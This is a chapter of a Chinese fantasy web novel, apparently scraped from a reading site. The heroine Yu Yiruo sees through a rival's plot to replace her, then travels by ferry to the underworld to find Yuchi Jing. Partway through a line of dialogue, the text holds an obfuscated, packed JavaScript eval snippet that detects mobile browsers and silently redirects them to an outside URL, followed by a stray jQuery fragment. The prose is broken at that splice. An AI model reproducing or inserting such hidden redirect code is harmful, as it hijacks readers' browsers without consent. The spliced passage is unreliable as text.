220. 相见
作品:《失手伤害反派后》 余以若的这番回答让被定住的阮襄愣了愣,纵使被下贴了真言符,她还是忍不住问:“为何?”
“不为什么。”余以若答得坦然,一手撕去了阮襄额头上的真言符,料想她也不会对自己出手,坐回了草料堆上,仰头看向她,“你说说你的计划。”
“你怎么知道?”
“都把我关在这里了,要是还看不出来,那可真是有点傻。”余以若说道:“所以你一早就布下了阵法吧,还有这里的阵法初看是护着周府,但是细看可以看出几点端倪,深埋在这层阵法下头的其实就是要夺我性命的乾坤阵吧。”
这么直接明白地说出,阮襄不禁哑然了好一会儿。
余以若倒是不觉得有什么,站起身拍了拍她的肩头,“你先安排着吧,我还有些事情需要交代,就先走了,后日我再来找你,到时候也是端午,阳气最盛,没道理补不了天道的漏洞。”
余以若一向都是如此,在蓬莱岛也是,阮襄瞧着她的坦然,对自己的卑鄙有了几分可恨。她比自己年岁小,境界也比自己低一些,能做到如此,阮襄满腔愧疚,但愧疚归愧疚,要是她死了,自己可不就是可以好好地活着吗?而且顶替着她的身份,要什么没有。
尉迟景和余以若的关系,她在天玄宗又不是没听过,再说就算是尉迟景不同意,发现了什么,天旻师伯的命令他不可能不听吧。几大长老先前害怕尉迟景早夭,就留了道婚约,无论如何她自己顶替余以若这张脸都是百无一害的。
重点就是她自己要活着。
余以若走到门边又想起什么,扭头叮嘱:“我不喜欢别人披着我的脸,你也一样,等我下次回来,你最好把这张脸换了。”
“这是自然。”阮襄面上恭敬,心底里却腹诽了好一阵,什么叫不喜欢,等她死了,什么都是自己的,哪还有什么喜不喜欢的。
余以若不知道她想什么,径直走了。
走了不多久,牢里又出现了个人,阮襄一拂袖子,那人便开了口,“你说的,等她死了,我就可以复活周芊芊了。”
“我什么时候骗过你。”阮襄鄙夷地看着这个沾染了半妖血统而赤红着瞳孔的人。
“可是她会答应吗?就这么走了,会不会……”兰茝担忧道。
兰茝的担忧阮襄可是一点都不在乎,先不说余以若向来是个信守承诺的人,再说放着这么多人死去,余以若能做到袖手旁观,她阮襄可不信,除非余以若她不想飞升成仙了!
“不可能。”阮襄笑得自信。
……
余以若这头踩着青羽剑,飞到偏房把自己的乾坤袋拿出来了,系好乾坤袋,她记挂着当日被自己甩下的无殁,她不是不知道尉迟景的阴狠所在,只怕无殁也会因她受到牵连。
就算过了三天,余以若还是抱着几分信心去了那个茅房。
周围里里外外看了个遍,也不见无殁的踪影,余以若心里很不是滋味,因着自己的原因让他受罚,端的有些过分,余以若也不管别的,赶忙踏上飞剑,往下界的方向高飞而去。
行了将近有半日,凡间和下界隔着的那条河总算出现在了眼前。只不过,余以若把手探入水中时,试了好几遍,相应该出现的门却久久未出来,而且水流也变得十分迅速,就好像要匆忙避着什么。
自云山冰雪消融汇来的水,注入大海,再流往下界。
河流是凡间和下界的唯一通道,彼此相互勾连,也只有这一条路。
余以若神识一扫,觉察到就算是来往此地的幽灵气息也淡若了不少。思及此,心下一定,掐出符咒,让自己的身形变得飘渺,变成了要前往下界的魂灵。
等了没多久,远处有条小舟摇摇晃晃地划着桨逆流而来。
余以若放眼一望,大喜过望,忙招呼:“我在这里!这里。”
小船上的两个差使远远地就看见个小姑娘在岸上兴奋地摆动手臂,活像没见过世面似的,不过也对,人一生也就只能见他们两回,一次是向生,一次是死亡,可不就是没见过世面吗?就是这副兴奋不已的样子,令两个差使都要误以为孟姐的汤又掺了好些水,让这人阴阳眼都生出来了,要不然就是开了天眼,能看到他们,是件多么可怕的事。
差使心觉不是这个人要渡船,而是自己傻,拍拍脑袋,懊恼道:“近几日下界不对劲,连眼睛都被熏瞎了,干了这么多年,连死人活人都没分清楚。”
另一个差使也应和,“可不就是!”
余以若看见他们突然又掉头回去,不知那里不对劲,又害怕自己不能顺利进入下界,很是急躁。通往下界的小船除非是差使认可,否则是不能随意搭乘的,余以若踩剑飞过去自然是不可以的,也就只能在岸上高呼:“喂!你们别走!这里还有个我呢!”
两个差使也不知听没听到,船划得越来越远,来的时候是逆流,走的时候是顺流,可不知道划得有多快,余以若都要心生绝望了,好在想起几个人来,掐出诀术,把自己的声音放大了好几倍,“我师兄是鬼苍,他让我去下界找他,你们行行好!”
这话两个差使自然是听见了的,就是既然是鬼王的师妹,那么不是有特殊通道给她走吗?反正他们那些人走的和真正死亡的人走的路是不一样的,他们还能瞧上这小小的船,可别是使诈的。
两个差使想了想,觉得有道理得很,也就没有转头回去,更加自信地往前走了,可划到一半,那姑娘的声音中突然冒出了“尉迟景”的名字,两个差使一顿,还以为自己听岔了,她认识尉迟殿下?还是个姑娘,那姑娘认识尉迟殿下?先不说真还是不真,就这么一条惊天地泣鬼神的消息就足够让他们调转船头回去。
要想知这位年纪轻轻却把死神殿治理得服服帖帖的少年,可是他们下界的一大传奇,少年人又生得俊秀,喜好大红鲜衣,不走寻常路,一匹烈马横走两界,手上使得出神入化的无命冥火更是非奇人能炼制驾驭,可少年却把它发挥到了极致。
少年哪都好,就是过于不近人情,尤其是对姑娘。
不是他的手下,连同他搭话的可能都没,更别提这么多年来死神殿主殿偏殿加起来的几个女侍从,能有两只手都是奇迹。是以乍闻这个姑娘认识尉迟殿下,还直呼他的名讳,两个差使新奇得不得了,简直是茶余饭后顶好的谈资。
把船划过去,待少女上了船,两个差使你看看我我看看你,脸上却都是挂着意味深长的笑。
余以若被他们莫名其妙的眼神看得很不自在,便问:“你们怎么了?”
“啊……没事,没什么。”其中一个差使摇头,“我们好奇,姑娘你是修仙之人,怎么会来这里?不是有常规的路可以走吗?”
“不知道怎么回事,那扇门开不了了。”余以若摇头,“是最近下界发生了什么吗?”
差使一边划桨,一边道:“我们也没收到消息。”
“你没收到消息是你打瞌睡了!”另一个差使被余以若这么一说,倒想起了昨日鬼王发布的命令,“我听我那在阎罗殿当差的女婿说,这凡间和下界的通道可要关喽,以后要想到下界可不是那么容易的了。”
“这不就是又和天梯闭合有关吗?”那差使道:“若干年前的人神混乱,上界便关闭了这通道,除非你飞升成仙才能跻身上界,否则上去,教那门口的老伯一验,你连那金光灿灿的大门都进不去,一个手指就把你弹回了凡间。”
“怎么突然又要关闭了?”余以若问。
“这我就不知道了,据说是天道不稳,死去的人太多了,下界也接待不了这么多,怕殃及下界平衡,毕竟三界□□才能安详嘛。”
余以若似懂非懂地答:“这样啊。”
差使见同余以若拉近了几分关系,有意揣度同僚想起那八卦,“死神殿的那位!”
“哦哦哦,对!”差使连连点头,挪进了余以若几寸,轻声旁敲侧击,“姑娘啊,虽然你想来下界观摩观摩,但是你可知你口中的尉迟景是何人?哪能随便利用的,你可太冒险了,听我说姑娘,你要来报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035632|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的名字就好,保管让你在下界玩得尽心,就是这个死神殿的这位,脾气不太好,你可千万别招惹。”
余以若笑着安慰道:“没关系的,我就是去找他的。”
两个差使耳朵立马竖起来,“这么说……姑娘同尉迟殿下很熟?”
余以若以为他们是担心自己用了尉迟景的名号当渡船的砝码,心里面担忧来日会受到牵连,便同他们好好解释了几番,“不是很熟,但有点熟。”
两个差使面面相觑,“怎么说?”
“就是……”余以若不知道怎么解释这关系,“反正你们别怕,把我送到安全地方之后,要是有人找你麻烦,你就说是我,扶光宗的余以若强迫你们的,这样死神殿的那位就不会再为难你们。”
两个差使懵懵懂懂地点头,在余以若看不到的地方,嘴角已经快要压不下来了。可不就是有关系么!还不是一般的关系!两个差使心里头乐呵,今儿个又有好酒喝了。
余以若下了船,一路直奔死神殿而去。
幸好先前来过几回,不至于迷路什么的,弯弯绕绕走过那些迷宫似的森林,就来到了大殿门口。阎罗殿的天空黑压压的,但这死神殿的上空却是光明罩顶,活脱脱是另一个修仙宗派,就连门口伫立的石像都显出了几分威严,余以若掐了个诀,让自己变做那些侍女的模样。
可余以若不知道的是,一路走来,压根没几个侍女,这么明目张胆地在死神殿问路,是个人都对她产生了怀疑,自然尉迟景也知道了。
余以若走了好一段,才算摸着路来到了大殿门口。
此时还是晨会,殿内还有好些人在禀告事情,熙熙攘攘的,半点庄重严肃都没,活像宗门大聚会,真有点不像尉迟景的风格,不过又凝神一听,又觉这样不错,那些个德高望重的长老谁也不服谁,吵吵闹闹的,但打心里是为着死神殿的生民着想的,一丝一毫的私心也没有藏。
能做到这样,谁会在乎这殿内喧闹呢?不过是把本性释放了出来,殿内里打打,私底下又是握手言和,把酒言欢,好不快活热闹。
余以若站得久了些,就连吵闹的内容都听得清清楚楚。
有个长老破口大骂,“你个鳖孙!自己吃饱喝足了是吧!就不管我们的死活了!不就是上次让庖厨给你少打几块肉嘛!你至于吗!我就是开开玩笑,你还真……”顿时闷哼响起,余以若知道那长老估计踹了对方一脚。
“殿内动手!你!你个老不死的,我打死你!”那人忍痛又扑了上去。
“殿下宅心仁厚,这个扰乱吃饭秩序的人还请殿下从重处理!否则……否则我要罢官!告老还乡,侍奉我老母去!”
“你老母不是走了有三十年了吗?你爹也走了近四十年,不应该有后妈吧。”
“你!闭嘴!”那长老气急败坏道。
余以若听了好一会儿,总算明白这吵闹是因何所起的了。
死神殿的食饭秩序规则同人间的很是相像,约莫就是那些长老一同在一处吃饭,但是有位长老先行离开,导致其他的长老不得不等他,一连等了几个时辰,那个长老也没回来,出去一打听才知道,人家早就吃饱喝足回家睡大觉去了,其他饿得肚子哇哇大叫的长老气得第二天就抄棍子打进府,却硬生生被拦了下来。
于是今天大早上的就有了这么一出鸣冤会。
余以若在这头听完,笑得肚子疼,一个没忍住,手下的力重了些,“嘎吱”一声推了下身前的半扇门,殿内的声音戛然而止,余以若知道自己闯祸了,头皮发麻,就要起身溜走,自殿内传出少年冷冽的嗓音,“什么人在外面?”
门口候着的侍从正好逢到轮班,没人发现余以若,但余以若知道点的是她自己,胸膛里的那颗心跳得跟个拨浪鼓似的。
“为何不敢见人?”少年的声音又响起,伴随少年声音响起的还有余以若身后的这扇门,被掌门的侍从从里面一拉,径直拉了开。
露出余以若欲走而没走,还悬着一只脚的背影。

